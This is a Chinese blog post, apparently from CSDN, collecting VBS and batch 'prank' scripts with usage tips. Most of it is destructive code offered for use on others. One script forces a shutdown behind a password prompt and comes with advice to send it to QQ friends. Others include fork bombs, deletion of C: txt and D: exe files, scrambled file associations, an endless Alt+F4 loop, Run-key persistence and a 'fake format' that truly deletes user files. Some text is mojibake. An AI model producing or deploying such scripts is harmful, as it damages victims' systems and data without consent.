vb+bat的种种常用代码大全（2020/2/27 #4版）

废话不多说，先看代码。
1.vbe类：礼物
---------------------------------------------分割线------------------------------------
Set shell=CreateObject(“WScript.Shell”)
shell.run “shutdown -s -t 60 -c 系统即将关闭.”,0
While InputBox(“请输入答案”,“请回答”)<>“123”
MsgBox “答案在心中…”,16+4096
Wend
shell.run “shutdown -a”,0
MsgBox “恭喜”,0,“恭喜”
-------------------------------------------分割线------------------------------------
解析：密码是123，16+4096让窗口在最顶层
使用：命名为：xxx.vbe，再发给QQ好友

2.vbs类：给桌面添加网址快捷方式
-------------------------------------------分割线------------------------------------
Set WshShell = WScript.CreateObject(“Wscript.Shell”)
strDesktop = WshShell.SpecialFolders(“Desktop”)
Set oShellLink = WshShell.CreateShortcut(strDesktop & “\百度.lnk”)
oShellLink.TargetPath = “http://www.baidu.com/”
oShellLink.Description = “百度一下”
oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
oShellLink.Save
-------------------------------------------分割线------------------------------------
解析：此代码中的"http://www.baidu.com/"是网址，(strDesktop & “\百度.lnk”)是把快捷方式放在桌面。
使用：命名为xxx.vbs

3.vbs类：给收藏夹添加网址
-------------------------------------------分割线------------------------------------
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject(“Shell.Application”)
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject(“WScript.Shell”)
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & “\百度.url”)
objURLShortcut.TargetPath = “http://www.baidu.com/”
objURLShortcut.Save
-------------------------------------------分割线------------------------------------
解析：此代码中的"http://www.baidu.com/"是网址(strDesktopFld & “\百度.url”)是把快捷方式放在收藏夹
使用：命名为xxx.vbs

4.vbs类：删除指定目录指定后缀文件
-------------------------------------------分割线------------------------------------
On Error Resume Next
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile “C:*.txt”, True
Set fso = Nothing
-------------------------------------------分割线------------------------------------
解析：C:*.txt是删除C盘的所有txt文件
使用：命名为xxx.vbs

5.vbs类：VBS改主页
-------------------------------------------分割线------------------------------------
Set oShell = CreateObject(“WScript.Shell”)
oShell.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,“http://www.baidu.com/”
-------------------------------------------分割线-------------------------------------
解析："http://www.baidu.com/"是要改的主页
使用：命名为xxx.vbs

6.vbs类：VBS加启动项
-------------------------------------------分割线-------------------------------------
Set oShell=CreateObject(“Wscript.Shell”)
oShell.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd”,“cmd.exe”
-------------------------------------------分割线-------------------------------------
解析：其中cmd.exe就是在开机后打开命令提示框，可自行修改路径
使用：命名为xxx.vbs

7.vbs类：VBS复制自己到C盘
-------------------------------------------分割线-------------------------------------
Dim fso
Set fso = WScript.CreateObject(“Scripting.Filesystemobject”)
fso.getfile(wscript.scriptfullname).copy(“c:\1.vbs”)
-------------------------------------------分割线-------------------------------------
解析：(“c:\1.vbs”)是把自己复制到C盘，名字为：1.vbs，可更改
使用：命名为xxx.vbs

8.vbs类：就算代码出错依然继续执行
-------------------------------------------分割线-------------------------------------
On Error Resume Next
-------------------------------------------分割线-------------------------------------
无解析
使用：命名为xxx.vbs

9.vbs类：VBS打开网址
-------------------------------------------分割线-------------------------------------
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run(“http://www.baidu.com/”)
-------------------------------------------分割线-------------------------------------
分析：http://www.baidu.com/是要打开的网址
使用：命名为xxx.vbs

二次更新内容：

10.vbs类：VBS加输入框
-------------------------------------------分割线-------------------------------------
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox(“Enter the drive to save to:”,“Drive letter”)
fldName=InputBox(“Enter the folder name:”,“Folder name”)
fileName=InputBox(“Enter the name of the file:”,“Filename”)
Set fso=CreateObject(“Scripting.FileSystemObject”)
If(fso.FolderExists(drvName&fldName))Then
MsgBox(“Folder exists”)
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)
TestFile.WriteLine(“Hello,World!”)
TestFile.Close
-------------------------------------------分割线-------------------------------------
使用说明：双击用vbs打开后，第一个让输的是要新建文件夹的名字1，第二个要输的是要新建文件夹的名字2，第三个是文件夹里面的文件名。使用后例：第一个输的是1，第二个是2，第三个是3，效果：在此目录里加一个叫12的文件夹，里面有一个叫3.txt的文本文档。里面是Hello world文字。

可更改处：TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)
中的".txt"，可改成带有“.”的文件后辍。
TestFile.WriteLine(“Hello,World!”)
中的Hello,world可以任意更改。

11.vbs类：VBS删除文件
-------------------------------------------分割线-------------------------------------
Dim fso
Set fso=CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile(“C:\test.txt”)
-------------------------------------------分割线-------------------------------------
解析：(“C:\test.txt”)是要删除的文件路径
保存为xxx.vbs即可

12.vbs类：VBS删除文件夹
-------------------------------------------分割线-------------------------------------
Dim fso
Set fso=CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFolder(“C:\newFolder”)
-------------------------------------------分割线-------------------------------------
注：不管文件夹中有没有文件都一并删除
解析：其中(“C:\newFolder”)是文件路径，可更改
保存为xxx.vbs即可

三次更新内容：

13.bat类：卡死
-------------------------------------------分割线-------------------------------------
%0|%0
-------------------------------------------分割线-------------------------------------
保存为xxx.bat

14.bat类：加盘符
-------------------------------------------分割线-------------------------------------
@echo off

for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)
-------------------------------------------分割线------------------------------------
保存为xxx.bat，会有n个磁盘

15.bat类：回复盘符
-------------------------------------------分割线------------------------------------
@echo off

for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
-------------------------------------------分割线------------------------------------

16.bat类：假的格式化（很吓人！）
-------------------------------------------分割线------------------------------------
::[Bat To Exe Converter]
::
::YAwzoRdxOk+EWAnk
::fBw5plQjdG8=
::YAwzuBVtJxjWCl3EqQJgSA==
::ZR4luwNxJguZRRnk
::Yhs/ulQjdF+5
::cxAkpRVqdFKZSDk=
::cBs/ulQjdF+5
::ZR41oxFsdFKZSDk=
::eBoioBt6dFKZSDk=
::cRo6pxp7LAbNWATEpCI=
::egkzugNsPRvcWATEpCI=
::dAsiuh18IRvcCxnZtBJQ
::cRYluBh/LU+EWAnk
::YxY4rhs+aU+JeA==
::cxY6rQJ7JhzQF1fEqQJQ
::ZQ05rAF9IBncCkqN+0xwdVs0
::ZQ05rAF9IAHYFVzEqQJQ
::eg0/rx1wNQPfEVWB+kM9LVsJDGQ=
::fBEirQZwNQPfEVWB+kM9LVsJDGQ=
::cRolqwZ3JBvQF1fEqQJQ
::dhA7uBVwLU+EWDk=
::YQ03rBFzNR3SWATElA==
::dhAmsQZ3MwfNWATElA==
::ZQ0/vhVqMQ3MEVWAtB9wSA==
::Zg8zqx1/OA3MEVWAtB9wSA==
::dhA7pRFwIByZRRnk
::Zh4grVQjdCmDJN5YAsX4wyfRgvoL9oc/yHEgYA8xagJRJLjJ0DjlRI3azjNf+2XtAXlijFikNoDcbR+I1sHeiPUvtdkI+DwQ+GGdMqc=
::YB416Ek+ZG8=
::
::
::978f952a14a936cc963da21a135fa983
@echo off
color 4f
taskkill /im explorer.exe /f
echo 鍒犻櫎C鐩樻墍鏈夋枃浠?..
del /f /s /q “%systemdrive%*.tmp”
del /f /s /q “%systemdrive%*.dmp”
del /f /s /q “%systemdrive%*._mp”
del /f /s /q “%systemdrive%*.gid”
del /f /s /q “%systemdrive%*.old”
del /f /s /q “%systemdrive%*.chk”
del /f /s /q “%systemdrive%*.bak”
del /f /s /q “%systemdrive%*.log”
del /f /s /q “%systemdrive%*.txt”
del /f /s /q “%systemdrive%*.ini”
del /f /s /q “%systemdrive%\Recycled*."
del /f /s /q "%systemdrive%\RECYCLER*.”
del /f /s /q “%windir%\inf*.pnf”
del /f /s /q “%windir%\Prefetch*."
@ping -n 2 127.1>nul
rd /s /q “%windir%\Downloaded Program Files” & md “%windir%\Downloaded Program Files”
@ping -n 2 127.1>nul
rd /s /q “%windir%\LastGood” & md “%windir%\LastGood”
@ping -n 2 127.1>nul
rd /s /q “%windir%\Offline Web Pages” & md “%windir%\Offline Web Pages”
@ping -n 2 127.1>nul
rd /s /q “%windir%\SoftwareDistribution\Download” & md “%windir%\SoftwareDistribution\Download”
@ping -n 2 127.1>nul
rd /s /q “%windir%\temp” & md “%windir%\temp”
@ping -n 2 127.1>nul
rd /s /q “%userprofile%\Local Settings\Application Data\Microsoft\Media Player” & md “%windir%\Local Settings\Application Data\Microsoft\Media Player”
@ping -n 2 127.1>nul
rd /s /q “%userprofile%\UserData” & md “%windir%\UserData”
@ping -n 2 127.1>nul
rd /s /q “%appdata%\Adobe” & md “%windir%\Adobe”
@ping -n 2 127.1>nul
rd /s /q “%appdata%\Macromedia” & md “%windir%\Macromedia”
@ping -n 2 127.1>nul
rd /s /q “%appdata%\Microsoft\Media Player” & md “%windir%\Microsoft\Media Player”
@ping -n 2 127.1>nul
rd /s /q “%appdata%\Microsoft\Office\Recent” & md “%windir%\Microsoft\Office\Recent”
@ping -n 5 127.1>nul
del /a /f /s /q "%userprofile%\Cookies*.”
del /a /f /s /q “%userprofile%\Recent*."
del /a /f /s /q “%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat”
del /a /f /s /q “%userprofile%\Local Settings\Application Data\IconCache.db”
del /a /f /s /q "%userprofile%\Local Settings\History*.”
del /a /f /s /q “%userprofile%\Local Settings\Temporary Internet Files*."
del /a /f /s /q "%temp%*.” del /a /f /s /q “%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat”
del /a /f /s /q “%userprofile%\AppData\Local\IconCache.db”
del /a /f /s /q “%userprofile% \AppData\Local\Microsoft\Windows\History*."
del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\Temporary Internet Files*.”
del /a /f /s /q “%userprofile% \AppData\Roaming\Microsoft\Windows\Cookies*."
del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Recent*.”
echo 宸插垹闄ゅ畬姣?
@echo.
echo 鍒犻櫎D鐩樻墍鏈夋枃浠?..
@ping -n 3 127.1>nul
@echo 宸插垹闄ゅ畬姣?
@echo.
echo 鍒犻櫎E鐩樻墍鏈夋枃浠?..
@ping -n 3 127.1>nul
echo 宸插垹闄ゅ畬姣?
@echo.
echo 姝ｅ湪浣庣骇鏍煎紡鍖栧叏閮ㄧ‖鐩?..
@ping -n 3 127.1>nul
echo.
echo 姝ｅ湪杩涜浜屾 浣庢牸纭洏…
ping -n 3 127.1>nul
echo.
echo 姝ｅ湪杩涜涓夋 浣庢牸纭洏…
ping -n 3 127.1>nul
echo.
echo 姝ｅ湪杩涜鍥涙 浣庢牸纭洏…
ping -n 3 127.1>nul
echo.
echo 姝ｅ湪杩涜浜旀 浣庢牸纭洏…
ping -n 3 127.1>nul
echo.
echo 娉ㄦ剰: cpu娓╁害127搴?娓╁害杩囬珮鎶ヨ!!!
echo.
ping -n 2 127.1>nul
echo 娉ㄦ剰: 纭洏娓╁害86搴?娓╁害杩囬珮鎶ヨ!!!
echo.
ping -n 2 127.1>nul
echo 娉ㄦ剰: 鏄惧崱娓╁害96搴?娓╁害杩囬珮鎶ヨ!!!
echo.
ping -n 2 127.1>nul
echo 娉ㄦ剰: 绯荤粺宕╂簝, 涓绘澘娓╁害瓒呰繃涓寸晫鍊?!! echo.
echo 娉ㄦ剰: 鐢靛璐熻嵎瓒呰繃99% echo. & pause
echo 鐢佃剳灏嗗湪60绉掑唴宕╂簝鎴栫垎鐐?璇峰嬁寮鸿鍏抽棴鐢垫簮!鍚﹀垯浼?瀵艰嚧cpu鍜岀‖鐩樺交搴曟崯姣?!
shutdown /r /t 60 /c “鐢佃剳灏嗗湪60绉掑唴宕╂簝鎴栫垎鐐?璇峰嬁寮鸿鍏抽棴鐢垫簮!鍚﹀垯浼?瀵艰嚧cpu鍜岀‖鐩樺交搴曟崯姣?!”
ping -n 30 127.1>nul
shutdown -a
start explorer.exe
exit
鈥斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€斺€?
鐗堟潈澹版槑锛氭湰鏂囦负CSDN鍗氫富銆屼腑鍥藉ソ鍒╅箯銆嶇殑鍘熷垱鏂囩珷锛岄伒寰?CC 4.0 BY-SA 鐗堟潈鍗忚锛岃浆杞借闄勪笂鍘熸枃鍑哄閾炬帴鍙婃湰澹版槑銆?
鍘熸枃閾炬帴锛歨http:\1212.com
-------------------------------------------分割线---------------------------------

四次更新内容：

17.bat类：死机循环
-------------------------------------------分割线------------------------------------
@echo off
%0|%0
-------------------------------------------分割线------------------------------------

18.bat类：死机循环
-------------------------------------------分割线------------------------------------
@echo off
for /l %%i in (1,1,10000) do (start %0)
-------------------------------------------分割线------------------------------------
19.bat类：文件关联一团糟
-------------------------------------------分割线------------------------------------
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile
assoc .vmx=exefile
assoc .vmdk=txtfile
-------------------------------------------分割线------------------------------------
20.vbs类：不断按下F4
-------------------------------------------分割线------------------------------------
On Error Resume Next
Dim WS
Set WS = WScript.CreateObject(“WScript.Shell”)
Do
WS.SendKeys “%{F4}”
WScript.Sleep 3
Loop
-------------------------------------------分割线------------------------------------
21.vbs类：清空D盘程序
-------------------------------------------分割线------------------------------------
#include<stdio.h>
#include<stdlib.h>
int main()
{
system(“del d:\*.exe”);
return 0;
}
-------------------------------------------分割线------------------------------------
注：可能会出现“没有权限”错误，建议去下载vbs转exe工具，且打开时右键，使用管理员权限运行！
已经写的差不多了，以后会更新！谢谢观看！